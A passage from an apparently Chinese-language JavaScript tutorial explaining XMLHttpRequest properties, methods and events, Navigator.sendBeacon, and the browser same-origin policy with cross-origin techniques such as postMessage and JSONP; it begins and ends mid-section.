如果本次请求没有成功或者数据不完整,该属性等于null。但是,如果responseType属性等于text或空字符串,在请求没有结束之前(readyState等于3的阶段),response属性包含服务器已经返回的部分数据。

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function () {
  if (xhr.readyState === 4) {
    handler(xhr.response);
  }
}

XMLHttpRequest.responseType

XMLHttpRequest.responseType属性是一个字符串,表示服务器返回数据的类型。这个属性是可写的,可以在调用open()方法之后、调用send()方法之前,设置这个属性的值,告诉浏览器如何解读返回的数据。如果responseType设为空字符串,就等同于默认值text

XMLHttpRequest.responseType属性可以等于以下值。

  • ""(空字符串):等同于text,表示服务器返回文本数据。
  • "arraybuffer":ArrayBuffer 对象,表示服务器返回二进制数组。
  • "blob":Blob 对象,表示服务器返回二进制对象。
  • "document":Document 对象,表示服务器返回一个文档对象。
  • "json":JSON 对象。
  • "text":字符串。

上面几种类型之中,text类型适合大多数情况,而且直接处理文本也比较方便。document类型适合返回 HTML / XML 文档的情况,这意味着,对于那些打开 CORS 的网站,可以直接用 Ajax 抓取网页,然后不用解析 HTML 字符串,直接对抓取回来的数据进行 DOM 操作。blob类型适合读取二进制数据,比如图片文件。

var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/image.png', true);
xhr.responseType = 'blob';

xhr.onload = function(e) {
  if (this.status === 200) {
    var blob = new Blob([xhr.response], {type: 'image/png'});
    // 或者
    var blob = xhr.response;
  }
};

xhr.send();

如果将这个属性设为ArrayBuffer,就可以按照数组的方式处理二进制数据。

var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/image.png', true);
xhr.responseType = 'arraybuffer';

xhr.onload = function(e) {
  var uInt8Array = new Uint8Array(this.response);
  for (var i = 0, len = uInt8Array.length; i < len; ++i) {
    // var byte = uInt8Array[i];
  }
};

xhr.send();

如果将这个属性设为json,浏览器就会自动对返回数据调用JSON.parse()方法。也就是说,从xhr.response属性(注意,不是xhr.responseText属性)得到的不是文本,而是一个 JSON 对象。

XMLHttpRequest.responseText

XMLHttpRequest.responseText属性返回从服务器接收到的字符串,该属性为只读。只有 HTTP 请求完成接收以后,该属性才会包含完整的数据。

var xhr = new XMLHttpRequest();
xhr.open('GET', '/server', true);

xhr.responseType = 'text';
xhr.onload = function () {
  if (xhr.readyState === 4 && xhr.status === 200) {
    console.log(xhr.responseText);
  }
};

xhr.send(null);

XMLHttpRequest.responseXML

XMLHttpRequest.responseXML属性返回从服务器接收到的 HTML 或 XML 文档对象,该属性为只读。如果本次请求没有成功,或者收到的数据不能被解析为 XML 或 HTML,该属性等于null

该属性生效的前提是 HTTP 回应的Content-Type头信息等于text/xmlapplication/xml。这要求在发送请求前,XMLHttpRequest.responseType属性要设为document。如果 HTTP 回应的Content-Type头信息不等于text/xmlapplication/xml,但是想从responseXML拿到数据(即把数据按照 DOM 格式解析),那么需要手动调用XMLHttpRequest.overrideMimeType()方法,强制进行 XML 解析。

该属性得到的数据,是直接解析后的文档 DOM 树。

var xhr = new XMLHttpRequest();
xhr.open('GET', '/server', true);

xhr.responseType = 'document';
xhr.overrideMimeType('text/xml');

xhr.onload = function () {
  if (xhr.readyState === 4 && xhr.status === 200) {
    console.log(xhr.responseXML);
  }
};

xhr.send(null);

XMLHttpRequest.responseURL

XMLHttpRequest.responseURL属性是字符串,表示发送数据的服务器的网址。

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/test', true);
xhr.onload = function () {
  // 返回 http://example.com/test
  console.log(xhr.responseURL);
};
xhr.send(null);

注意,这个属性的值与open()方法指定的请求网址不一定相同。如果服务器端发生跳转,这个属性返回最后实际返回数据的网址。另外,如果原始 URL 包括锚点(fragment),该属性会把锚点剥离。

XMLHttpRequest.status,XMLHttpRequest.statusText

XMLHttpRequest.status属性返回一个整数,表示服务器回应的 HTTP 状态码。一般来说,如果通信成功的话,这个状态码是200;如果服务器没有返回状态码,那么这个属性默认是200。请求发出之前,该属性为0。该属性只读。

  • 200, OK,访问正常
  • 301, Moved Permanently,永久移动
  • 302, Moved temporarily,暂时移动
  • 304, Not Modified,未修改
  • 307, Temporary Redirect,暂时重定向
  • 401, Unauthorized,未授权
  • 403, Forbidden,禁止访问
  • 404, Not Found,未发现指定网址
  • 500, Internal Server Error,服务器发生错误

基本上,只有2xx和304的状态码,表示服务器返回是正常状态。

if (xhr.readyState === 4) {
  if ( (xhr.status >= 200 && xhr.status < 300)
    || (xhr.status === 304) ) {
    // 处理服务器的返回数据
  } else {
    // 出错
  }
}

XMLHttpRequest.statusText属性返回一个字符串,表示服务器发送的状态提示。不同于status属性,该属性包含整个状态信息,比如“OK”和“Not Found”。在请求发送之前(即调用open()方法之前),该属性的值是空字符串;如果服务器没有返回状态提示,该属性的值默认为“OK”。该属性为只读属性。

XMLHttpRequest.timeout,XMLHttpRequestEventTarget.ontimeout

XMLHttpRequest.timeout属性返回一个整数,表示多少毫秒后,如果请求仍然没有得到结果,就会自动终止。如果该属性等于0,就表示没有时间限制。

XMLHttpRequestEventTarget.ontimeout属性用于设置一个监听函数,如果发生 timeout 事件,就会执行这个监听函数。

下面是一个例子。

var xhr = new XMLHttpRequest();
var url = '/server';

xhr.ontimeout = function () {
  console.error('The request for ' + url + ' timed out.');
};

xhr.onload = function() {
  if (xhr.readyState === 4) {
    if (xhr.status === 200) {
      // 处理服务器返回的数据
    } else {
      console.error(xhr.statusText);
    }
  }
};

xhr.open('GET', url, true);
// 指定 10 秒钟超时
xhr.timeout = 10 * 1000;
xhr.send(null);

事件监听属性

XMLHttpRequest 对象可以对以下事件指定监听函数。

  • XMLHttpRequest.onloadstart:loadstart 事件(HTTP 请求发出)的监听函数
  • XMLHttpRequest.onprogress:progress事件(正在发送和加载数据)的监听函数
  • XMLHttpRequest.onabort:abort 事件(请求中止,比如用户调用了abort()方法)的监听函数
  • XMLHttpRequest.onerror:error 事件(请求失败)的监听函数
  • XMLHttpRequest.onload:load 事件(请求成功完成)的监听函数
  • XMLHttpRequest.ontimeout:timeout 事件(用户指定的时限超过了,请求还未完成)的监听函数
  • XMLHttpRequest.onloadend:loadend 事件(请求完成,不管成功或失败)的监听函数

下面是一个例子。

xhr.onload = function() {
 var responseText = xhr.responseText;
 console.log(responseText);
 // process the response.
};

xhr.onabort = function () {
  console.log('The request was aborted');
};

xhr.onprogress = function (event) {
  console.log(event.loaded);
  console.log(event.total);
};

xhr.onerror = function() {
  console.log('There was an error!');
};

progress事件的监听函数有一个事件对象参数,该对象有三个属性:loaded属性返回已经传输的数据量,total属性返回总的数据量,lengthComputable属性返回一个布尔值,表示加载的进度是否可以计算。所有这些监听函数里面,只有progress事件的监听函数有参数,其他函数都没有参数。

注意,如果发生网络错误(比如服务器无法连通),onerror事件无法获取报错信息。也就是说,可能没有错误对象,所以这样只能显示报错的提示。

XMLHttpRequest.withCredentials

XMLHttpRequest.withCredentials属性是一个布尔值,表示跨域请求时,用户信息(比如 Cookie 和认证的 HTTP 头信息)是否会包含在请求之中,默认为false,即向example.com发出跨域请求时,不会发送example.com设置在本机上的 Cookie(如果有的话)。

如果需要跨域 AJAX 请求发送 Cookie,需要withCredentials属性设为true。注意,同源的请求不需要设置这个属性。

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

为了让这个属性生效,服务器必须显式返回Access-Control-Allow-Credentials这个头信息。

Access-Control-Allow-Credentials: true

withCredentials属性打开的话,跨域请求不仅会发送 Cookie,还会设置远程主机指定的 Cookie。反之也成立,如果withCredentials属性没有打开,那么跨域的 AJAX 请求即使明确要求浏览器设置 Cookie,浏览器也会忽略。

注意,脚本总是遵守同源政策,无法从document.cookie或者 HTTP 回应的头信息之中,读取跨域的 Cookie,withCredentials属性不影响这一点。

XMLHttpRequest.upload

XMLHttpRequest 不仅可以发送请求,还可以发送文件,这就是 AJAX 文件上传。发送文件以后,通过XMLHttpRequest.upload属性可以得到一个对象,通过观察这个对象,可以得知上传的进展。主要方法就是监听这个对象的各种事件:loadstart、loadend、load、abort、error、progress、timeout。

假定网页上有一个<progress>元素。

<progress min="0" max="100" value="0">0% complete</progress>

文件上传时,对upload属性指定progress事件的监听函数,即可获得上传的进度。

function upload(blobOrFile) {
  var xhr = new XMLHttpRequest();
  xhr.open('POST', '/server', true);
  xhr.onload = function (e) {};

  var progressBar = document.querySelector('progress');
  xhr.upload.onprogress = function (e) {
    if (e.lengthComputable) {
      progressBar.value = (e.loaded / e.total) * 100;
      // 兼容不支持 <progress> 元素的老式浏览器
      progressBar.textContent = progressBar.value;
    }
  };

  xhr.send(blobOrFile);
}

upload(new Blob(['hello world'], {type: 'text/plain'}));

XMLHttpRequest 的实例方法

XMLHttpRequest.open()

XMLHttpRequest.open()方法用于指定 HTTP 请求的参数,或者说初始化 XMLHttpRequest 实例对象。它一共可以接受五个参数。

void open(
   string method,
   string url,
   optional boolean async,
   optional string user,
   optional string password
);
  • method:表示 HTTP 动词方法,比如GETPOSTPUTDELETEHEAD等。
  • url: 表示请求发送目标 URL。
  • async: 布尔值,表示请求是否为异步,默认为true。如果设为false,则send()方法只有等到收到服务器返回了结果,才会进行下一步操作。该参数可选。由于同步 AJAX 请求会造成浏览器失去响应,许多浏览器已经禁止在主线程使用,只允许 Worker 里面使用。所以,这个参数轻易不应该设为false
  • user:表示用于认证的用户名,默认为空字符串。该参数可选。
  • password:表示用于认证的密码,默认为空字符串。该参数可选。

注意,如果对使用过open()方法的 AJAX 请求,再次使用这个方法,等同于调用abort(),即终止请求。

下面发送 POST 请求的例子。

var xhr = new XMLHttpRequest();
xhr.open('POST', encodeURI('someURL'));

XMLHttpRequest.send()

XMLHttpRequest.send()方法用于实际发出 HTTP 请求。它的参数是可选的,如果不带参数,就表示 HTTP 请求只有一个 URL,没有数据体,典型例子就是 GET 请求;如果带有参数,就表示除了头信息,还带有包含具体数据的信息体,典型例子就是 POST 请求。

下面是 GET 请求的例子。

var xhr = new XMLHttpRequest();
xhr.open('GET',
  'http://www.example.com/?id=' + encodeURIComponent(id),
  true
);
xhr.send(null);

上面代码中,GET请求的参数,作为查询字符串附加在 URL 后面。

下面是发送 POST 请求的例子。

var xhr = new XMLHttpRequest();
var data = 'email='
  + encodeURIComponent(email)
  + '&password='
  + encodeURIComponent(password);

xhr.open('POST', 'http://www.example.com', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(data);

注意,所有 XMLHttpRequest 的监听事件,都必须在send()方法调用之前设定。

send方法的参数就是发送的数据。多种格式的数据,都可以作为它的参数。

void send();
void send(ArrayBufferView data);
void send(Blob data);
void send(Document data);
void send(String data);
void send(FormData data);

如果send()发送 DOM 对象,在发送之前,数据会先被串行化。如果发送二进制数据,最好是发送ArrayBufferViewBlob对象,这使得通过 Ajax 上传文件成为可能。

下面是发送表单数据的例子。FormData对象可以用于构造表单数据。

var formData = new FormData();

formData.append('username', '张三');
formData.append('email', 'zhangsan@example.com');
formData.append('birthDate', 1940);

var xhr = new XMLHttpRequest();
xhr.open('POST', '/register');
xhr.send(formData);

上面代码中,FormData对象构造了表单数据,然后使用send()方法发送。它的效果与发送下面的表单数据是一样的。

<form id='registration' name='registration' action='/register'>
  <input type='text' name='username' value='张三'>
  <input type='email' name='email' value='zhangsan@example.com'>
  <input type='number' name='birthDate' value='1940'>
  <input type='submit' onclick='return sendForm(this.form);'>
</form>

下面的例子是使用FormData对象加工表单数据,然后再发送。

function sendForm(form) {
  var formData = new FormData(form);
  formData.append('csrf', 'e69a18d7db1286040586e6da1950128c');

  var xhr = new XMLHttpRequest();
  xhr.open('POST', form.action, true);
  xhr.onload = function() {
    // ...
  };
  xhr.send(formData);

  return false;
}

var form = document.querySelector('#registration');
sendForm(form);

XMLHttpRequest.setRequestHeader()

XMLHttpRequest.setRequestHeader()方法用于设置浏览器发送的 HTTP 请求的头信息。该方法必须在open()之后、send()之前调用。如果该方法多次调用,设定同一个字段,则每一次调用的值会被合并成一个单一的值发送。

该方法接受两个参数。第一个参数是字符串,表示头信息的字段名,第二个参数是字段值。

xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Content-Length', JSON.stringify(data).length);
xhr.send(JSON.stringify(data));

上面代码首先设置头信息Content-Type,表示发送 JSON 格式的数据;然后设置Content-Length,表示数据长度;最后发送 JSON 数据。

XMLHttpRequest.overrideMimeType()

XMLHttpRequest.overrideMimeType()方法用来指定 MIME 类型,覆盖服务器返回的真正的 MIME 类型,从而让浏览器进行不一样的处理。举例来说,服务器返回的数据类型是text/xml,由于种种原因浏览器解析不成功报错,这时就拿不到数据了。为了拿到原始数据,我们可以把 MIME 类型改成text/plain,这样浏览器就不会去自动解析,从而我们就可以拿到原始文本了。

xhr.overrideMimeType('text/plain')

注意,该方法必须在send()方法之前调用。

修改服务器返回的数据类型,不是正常情况下应该采取的方法。如果希望服务器返回指定的数据类型,可以用responseType属性告诉服务器,就像下面的例子。只有在服务器无法返回某种数据类型时,才使用overrideMimeType()方法。

var xhr = new XMLHttpRequest();
xhr.onload = function(e) {
  var arraybuffer = xhr.response;
  // ...
}
xhr.open('GET', url);
xhr.responseType = 'arraybuffer';
xhr.send();

XMLHttpRequest.getResponseHeader()

XMLHttpRequest.getResponseHeader()方法返回 HTTP 头信息指定字段的值,如果还没有收到服务器回应或者指定字段不存在,返回null。该方法的参数不区分大小写。

function getHeaderTime() {
  console.log(this.getResponseHeader("Last-Modified"));
}

var xhr = new XMLHttpRequest();
xhr.open('HEAD', 'yourpage.html');
xhr.onload = getHeaderTime;
xhr.send();

如果有多个字段同名,它们的值会被连接为一个字符串,每个字段之间使用“逗号+空格”分隔。

XMLHttpRequest.getAllResponseHeaders()

XMLHttpRequest.getAllResponseHeaders()方法返回一个字符串,表示服务器发来的所有 HTTP 头信息。格式为字符串,每个头信息之间使用CRLF分隔(回车+换行),如果没有收到服务器回应,该属性为null。如果发生网络错误,该属性为空字符串。

var xhr = new XMLHttpRequest();
xhr.open('GET', 'foo.txt', true);
xhr.send();

xhr.onreadystatechange = function () {
  if (this.readyState === 4) {
    var headers = xhr.getAllResponseHeaders();
  }
}

上面代码用于获取服务器返回的所有头信息。它可能是下面这样的字符串。

date: Fri, 08 Dec 2017 21:04:30 GMT\r\n
content-encoding: gzip\r\n
x-content-type-options: nosniff\r\n
server: meinheld/0.6.1\r\n
x-frame-options: DENY\r\n
content-type: text/html; charset=utf-8\r\n
connection: keep-alive\r\n
strict-transport-security: max-age=63072000\r\n
vary: Cookie, Accept-Encoding\r\n
content-length: 6502\r\n
x-xss-protection: 1; mode=block\r\n

然后,对这个字符串进行处理。

var arr = headers.trim().split(/[\r\n]+/);
var headerMap = {};

arr.forEach(function (line) {
  var parts = line.split(': ');
  var header = parts.shift();
  var value = parts.join(': ');
  headerMap[header] = value;
});

headerMap['content-length'] // "6502"

XMLHttpRequest.abort()

XMLHttpRequest.abort()方法用来终止已经发出的 HTTP 请求。调用这个方法以后,readyState属性变为4status属性变为0

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.example.com/page.php', true);
setTimeout(function () {
  if (xhr) {
    xhr.abort();
    xhr = null;
  }
}, 5000);

上面代码在发出5秒之后,终止一个 AJAX 请求。

XMLHttpRequest 实例的事件

readyStateChange 事件

readyState属性的值发生改变,就会触发 readyStateChange 事件。

我们可以通过onReadyStateChange属性,指定这个事件的监听函数,对不同状态进行不同处理。尤其是当状态变为4的时候,表示通信成功,这时回调函数就可以处理服务器传送回来的数据。

progress 事件

上传文件时,XMLHttpRequest 实例对象本身和实例的upload属性,都有一个progress事件,会不断返回上传的进度。

var xhr = new XMLHttpRequest();

function updateProgress (oEvent) {
  if (oEvent.lengthComputable) {
    var percentComplete = oEvent.loaded / oEvent.total;
  } else {
    console.log('无法计算进展');
  }
}

xhr.addEventListener('progress', updateProgress);

xhr.open();

load 事件、error 事件、abort 事件

load 事件表示服务器传来的数据接收完毕,error 事件表示请求出错,abort 事件表示请求被中断(比如用户取消请求)。

var xhr = new XMLHttpRequest();

xhr.addEventListener('load', transferComplete);
xhr.addEventListener('error', transferFailed);
xhr.addEventListener('abort', transferCanceled);

xhr.open();

function transferComplete() {
  console.log('数据接收完毕');
}

function transferFailed() {
  console.log('数据接收出错');
}

function transferCanceled() {
  console.log('用户取消接收');
}

loadend 事件

abortloaderror这三个事件,会伴随一个loadend事件,表示请求结束,但不知道其是否成功。

xhr.addEventListener('loadend', loadEnd);

function loadEnd(e) {
  console.log('请求结束,状态未知');
}

timeout 事件

服务器超过指定时间还没有返回结果,就会触发 timeout 事件,具体的例子参见timeout属性一节。

用户卸载网页的时候,有时需要向服务器发一些数据。很自然的做法是在unload事件或beforeunload事件的监听函数里面,使用XMLHttpRequest对象发送数据。但是,这样做不是很可靠,因为XMLHttpRequest对象是异步发送,很可能在它即将发送的时候,页面已经卸载了,从而导致发送取消或者发送失败。

解决方法就是unload事件里面,加一些很耗时的同步操作。这样就能留出足够的时间,保证异步 AJAX 能够发送成功。

function log() {
  let xhr = new XMLHttpRequest();
  xhr.open('post', '/log', true);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.send('foo=bar');
}

window.addEventListener('unload', function(event) {
  log();

  // a time-consuming operation
  for (let i = 1; i < 10000; i++) {
    for (let m = 1; m < 10000; m++) { continue; }
  }
});

上面代码中,强制执行了一次双重循环,拖长了unload事件的执行时间,导致异步 AJAX 能够发送成功。

类似的还可以使用setTimeout()。下面是追踪用户点击的例子。

// HTML 代码如下
// <a id="target" href="https://baidu.com">click</a>
const clickTime = 350;
const theLink = document.getElementById('target');

function log() {
  let xhr = new XMLHttpRequest();
  xhr.open('post', '/log', true);
  xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  xhr.send('foo=bar');
}

theLink.addEventListener('click', function (event) {
  event.preventDefault();
  log();

  setTimeout(function () {
    window.location.href = theLink.getAttribute('href');
  }, clickTime);
});

上面代码使用setTimeout(),拖延了350毫秒,才让页面跳转,因此使得异步 AJAX 有时间发出。

这些做法的共同问题是,卸载的时间被硬生生拖长了,后面页面的加载被推迟了,用户体验不好。

为了解决这个问题,浏览器引入了Navigator.sendBeacon()方法。这个方法还是异步发出请求,但是请求与当前页面线程脱钩,作为浏览器进程的任务,因此可以保证会把数据发出去,不拖延卸载流程。

window.addEventListener('unload', logData, false);

function logData() {
  navigator.sendBeacon('/log', JSON.stringify({
    some: "data"
  }));
}

Navigator.sendBeacon()方法接受两个参数,第一个参数是目标服务器的 URL,第二个参数是所要发送的数据(可选),可以是任意类型(字符串、表单对象、二进制对象等等)。

navigator.sendBeacon(url, data)

这个方法的返回值是一个布尔值,成功发送数据为true,否则为false

该方法发送数据的 HTTP 方法是 POST,可以跨域,类似于表单提交数据。它不能指定回调函数。

下面是一个例子。

// HTML 代码如下
// <body onload="analytics('start')" onunload="analytics('end')">

function analytics(state) {
  if (!navigator.sendBeacon) return;

  var URL = 'http://example.com/analytics';
  var data = 'state=' + state + '&location=' + window.location;
  navigator.sendBeacon(URL, data);
}

该方法不允许自定义 HTTP 标头,为了以“application/json”的形式发送数据,可以使用 Blob 对象。

const blob = new Blob(
  [ JSON.stringify({ some: "data" }) ],
  { type: 'application/json; charset=UTF-8' }
);
navigator.sendBeacon('/log', blob));

这个方法的优先级较低,不会占用页面资源。一般是在浏览器空闲的时候,才会发送。

同源限制

浏览器安全的基石是“同源政策”(same-origin policy)。很多开发者都知道这一点,但了解得不全面。

概述

含义

1995年,同源政策由 Netscape 公司引入浏览器。目前,所有浏览器都实行这个政策。

最初,它的含义是指,A 网页设置的 Cookie,B 网页不能打开,除非这两个网页“同源”。所谓“同源”指的是“三个相同”。

  • 协议相同
  • 域名相同
  • 端口相同(这点可以忽略,详见下文)

举例来说,http://www.example.com/dir/page.html这个网址,协议是http://,域名是www.example.com,端口是80(默认端口可以省略),它的同源情况如下。

  • http://www.example.com/dir2/other.html:同源
  • http://example.com/dir/other.html:不同源(域名不同)
  • http://v2.www.example.com/dir/other.html:不同源(域名不同)
  • http://www.example.com:81/dir/other.html:不同源(端口不同)
  • https://www.example.com/dir/page.html:不同源(协议不同)

注意,标准规定端口不同的网址不是同源(比如8000端口和8001端口不是同源),但是浏览器没有遵守这条规定。实际上,同一个网域的不同端口,是可以互相读取 Cookie 的。

目的

同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。

设想这样一种情况:A 网站是一家银行,用户登录以后,A 网站在用户的机器上设置了一个 Cookie,包含了一些隐私信息。用户离开 A 网站以后,又去访问 B 网站,如果没有同源限制,B 网站可以读取 A 网站的 Cookie,那么隐私就泄漏了。更可怕的是,Cookie 往往用来保存用户的登录状态,如果用户没有退出登录,其他网站就可以冒充用户,为所欲为。因为浏览器同时还规定,提交表单不受同源政策的限制。

由此可见,同源政策是必需的,否则 Cookie 可以共享,互联网就毫无安全可言了。

限制范围

随着互联网的发展,同源政策越来越严格。目前,如果非同源,共有三种行为受到限制。

(1) 无法读取非同源网页的 Cookie、LocalStorage 和 IndexedDB。

(2) 无法接触非同源网页的 DOM。

(3) 无法向非同源地址发送 AJAX 请求(可以发送,但浏览器会拒绝接受响应)。

另外,通过 JavaScript 脚本可以拿到其他窗口的window对象。如果是非同源的网页,目前允许一个窗口可以接触其他网页的window对象的九个属性和四个方法。

  • window.closed
  • window.frames
  • window.length
  • window.location
  • window.opener
  • window.parent
  • window.self
  • window.top
  • window.window
  • window.blur()
  • window.close()
  • window.focus()
  • window.postMessage()

上面的九个属性之中,只有window.location是可读写的,其他八个全部都是只读。而且,即使是location对象,非同源的情况下,也只允许调用location.replace()方法和写入location.href属性。

虽然这些限制是必要的,但是有时很不方便,合理的用途也受到影响。下面介绍如何规避上面的限制。

Cookie 是服务器写入浏览器的一小段信息,只有同源的网页才能共享。如果两个网页一级域名相同,只是次级域名不同,浏览器允许通过设置document.domain共享 Cookie。

举例来说,A 网页的网址是http://w1.example.com/a.html,B 网页的网址是http://w2.example.com/b.html,那么只要设置相同的document.domain,两个网页就可以共享 Cookie。因为浏览器通过document.domain属性来检查是否同源。

// 两个网页都需要设置
document.domain = 'example.com';

注意,A 和 B 两个网页都需要设置document.domain属性,才能达到同源的目的。因为设置document.domain的同时,会把端口重置为null,因此如果只设置一个网页的document.domain,会导致两个网址的端口不同,还是达不到同源的目的。

现在,A 网页通过脚本设置一个 Cookie。

document.cookie = "test1=hello";

B 网页就可以读到这个 Cookie。

var allCookie = document.cookie;

注意,这种方法只适用于 Cookie 和 iframe 窗口,LocalStorage 和 IndexedDB 无法通过这种方法,规避同源政策,而要使用下文介绍 PostMessage API。

另外,服务器也可以在设置 Cookie 的时候,指定 Cookie 的所属域名为一级域名,比如example.com

Set-Cookie: key=value; domain=example.com; path=/

这样的话,二级域名和三级域名不用做任何设置,都可以读取这个 Cookie。

iframe 和多窗口通信

iframe元素可以在当前网页之中,嵌入其他网页。每个iframe元素形成自己的窗口,即有自己的window对象。iframe窗口之中的脚本,可以获得父窗口和子窗口。但是,只有在同源的情况下,父窗口和子窗口才能通信;如果跨域,就无法拿到对方的 DOM。

比如,父窗口运行下面的命令,如果iframe窗口不是同源,就会报错。

document
.getElementById("myIFrame")
.contentWindow
.document
// Uncaught DOMException: Blocked a frame from accessing a cross-origin frame.

上面命令中,父窗口想获取子窗口的 DOM,因为跨域导致报错。

反之亦然,子窗口获取主窗口的 DOM 也会报错。

window.parent.document.body
// 报错

这种情况不仅适用于iframe窗口,还适用于window.open方法打开的窗口,只要跨域,父窗口与子窗口之间就无法通信。

如果两个窗口一级域名相同,只是二级域名不同,那么设置上一节介绍的document.domain属性,就可以规避同源政策,拿到 DOM。

对于完全不同源的网站,目前有两种方法,可以解决跨域窗口的通信问题。

  • 片段识别符(fragment identifier)
  • 跨文档通信API(Cross-document messaging)

片段识别符

片段标识符(fragment identifier)指的是,URL 的#号后面的部分,比如http://example.com/x.html#fragment#fragment。如果只是改变片段标识符,页面不会重新刷新。

父窗口可以把信息,写入子窗口的片段标识符。

var src = originURL + '#' + data;
document.getElementById('myIFrame').src = src;

上面代码中,父窗口把所要传递的信息,写入 iframe 窗口的片段标识符。

子窗口通过监听hashchange事件得到通知。

window.onhashchange = checkMessage;

function checkMessage() {
  var message = window.location.hash;
  // ...
}

同样的,子窗口也可以改变父窗口的片段标识符。

parent.location.href = target + '#' + hash;

window.postMessage()

上面的这种方法属于破解,HTML5 为了解决这个问题,引入了一个全新的API:跨文档通信 API(Cross-document messaging)。

这个 API 为window对象新增了一个window.postMessage方法,允许跨窗口通信,不论这两个窗口是否同源。举例来说,父窗口aaa.com向子窗口bbb.com发消息,调用postMessage方法就可以了。

// 父窗口打开一个子窗口
var popup = window.open('http://bbb.com', 'title');
// 父窗口向子窗口发消息
popup.postMessage('Hello World!', 'http://bbb.com');

postMessage方法的第一个参数是具体的信息内容,第二个参数是接收消息的窗口的源(origin),即“协议 + 域名 + 端口”。也可以设为*,表示不限制域名,向所有窗口发送。

子窗口向父窗口发送消息的写法类似。

// 子窗口向父窗口发消息
window.opener.postMessage('Nice to see you', 'http://aaa.com');

父窗口和子窗口都可以通过message事件,监听对方的消息。

// 父窗口和子窗口都可以用下面的代码,
// 监听 message 消息
window.addEventListener('message', function (e) {
  console.log(e.data);
},false);

message事件的参数是事件对象event,提供以下三个属性。

  • event.source:发送消息的窗口
  • event.origin: 消息发向的网址
  • event.data: 消息内容

下面的例子是,子窗口通过event.source属性引用父窗口,然后发送消息。

window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
  event.source.postMessage('Nice to see you!', '*');
}

上面代码有几个地方需要注意。首先,receiveMessage函数里面没有过滤信息的来源,任意网址发来的信息都会被处理。其次,postMessage方法中指定的目标窗口的网址是一个星号,表示该信息可以向任意网址发送。通常来说,这两种做法是不推荐的,因为不够安全,可能会被恶意利用。

event.origin属性可以过滤不是发给本窗口的消息。

window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
  if (event.origin !== 'http://aaa.com') return;
  if (event.data === 'Hello World') {
    event.source.postMessage('Hello', event.origin);
  } else {
    console.log(event.data);
  }
}

LocalStorage

通过window.postMessage,读写其他窗口的 LocalStorage 也成为了可能。

下面是一个例子,主窗口写入 iframe 子窗口的localStorage

window.onmessage = function(e) {
  if (e.origin !== 'http://bbb.com') {
    return;
  }
  var payload = JSON.parse(e.data);
  localStorage.setItem(payload.key, JSON.stringify(payload.data));
};

上面代码中,子窗口将父窗口发来的消息,写入自己的 LocalStorage。

父窗口发送消息的代码如下。

var win = document.getElementsByTagName('iframe')[0].contentWindow;
var obj = { name: 'Jack' };
win.postMessage(
  JSON.stringify({key: 'storage', data: obj}),
  'http://bbb.com'
);

加强版的子窗口接收消息的代码如下。

window.onmessage = function(e) {
  if (e.origin !== 'http://bbb.com') return;
  var payload = JSON.parse(e.data);
  switch (payload.method) {
    case 'set':
      localStorage.setItem(payload.key, JSON.stringify(payload.data));
      break;
    case 'get':
      var parent = window.parent;
      var data = localStorage.getItem(payload.key);
      parent.postMessage(data, 'http://aaa.com');
      break;
    case 'remove':
      localStorage.removeItem(payload.key);
      break;
  }
};

加强版的父窗口发送消息代码如下。

var win = document.getElementsByTagName('iframe')[0].contentWindow;
var obj = { name: 'Jack' };
// 存入对象
win.postMessage(
  JSON.stringify({key: 'storage', method: 'set', data: obj}),
  'http://bbb.com'
);
// 读取对象
win.postMessage(
  JSON.stringify({key: 'storage', method: "get"}),
  "*"
);
window.onmessage = function(e) {
  if (e.origin != 'http://aaa.com') return;
  console.log(JSON.parse(e.data).name);
};

AJAX

同源政策规定,AJAX 请求只能发给同源的网址,否则就报错。

除了架设服务器代理(浏览器请求同源服务器,再由后者请求外部服务),有三种方法规避这个限制。

  • JSONP
  • WebSocket
  • CORS

JSONP

JSONP 是服务器与客户端跨源通信的常用方法。最大特点就是简单易用,没有兼容性问题,老式浏览器全部支持,服务端改造非常小。

它的做法如下。

第一步,网页添加一个<script>元素,向服务器请求一个脚本,这不受同源政策限制,可以跨域请求。

<script src="http://api.foo.com?callback=bar"></script>

注意,请求的脚本网址有一个callback参数(?callback=bar),用来告诉服务器,客户端的回调函数名称(bar)。

第二步,服务器收到请求后,拼接一个字符串,将 JSON 数据放在函数名里面,作为字符串返回(bar({...}))。

第三步,客户端会将服务器返回的字符串,作为代码解析,因为浏览器认为,这是<script>标签请求的脚本内容。这时,客户端只要定义了bar()函数,就能在该函数体内,拿到服务器返回的 JSON 数据。

下面看一个实例。首先,网页动态插入<script>元素,由它向跨域网址发出请求。

function addScriptTag(src) {
  var script = document.createElement('script');
  script.setAttribute('type', 'text/javascript');
  script.src = src;
  document.body.appendChild(script);
}

window.onload = function () {
  addScriptTag('http://example.com/ip?callback=foo');
}

function foo(data) {
  console.log('Your public IP address is: ' + data.ip);
};

上面代码通过动态添加<script>元素,向服务器example.com发出请求。注意,该请求的查询字符串有一个callback参数,用来指定回调函数的名字,这对于 JSONP 是必需的。

服务器收到这个请求以后,会将数据放在回调函数的参数位置返回。

foo({
  'ip': '8.8.8.8'
});

由于<script>元素请求的脚本,直接作为代码运行。这时,只要浏览器定义了foo函数,该函数就会立即调用。作为参数的 JSON 数据被视为 JavaScript 对象,而不是字符串,因此避免了使用JSON.parse的步骤。

WebSocket

WebSocket 是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。

下面是一个例子,浏览器发出的 WebSocket 请求的头信息(摘自维基百科)。

GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com

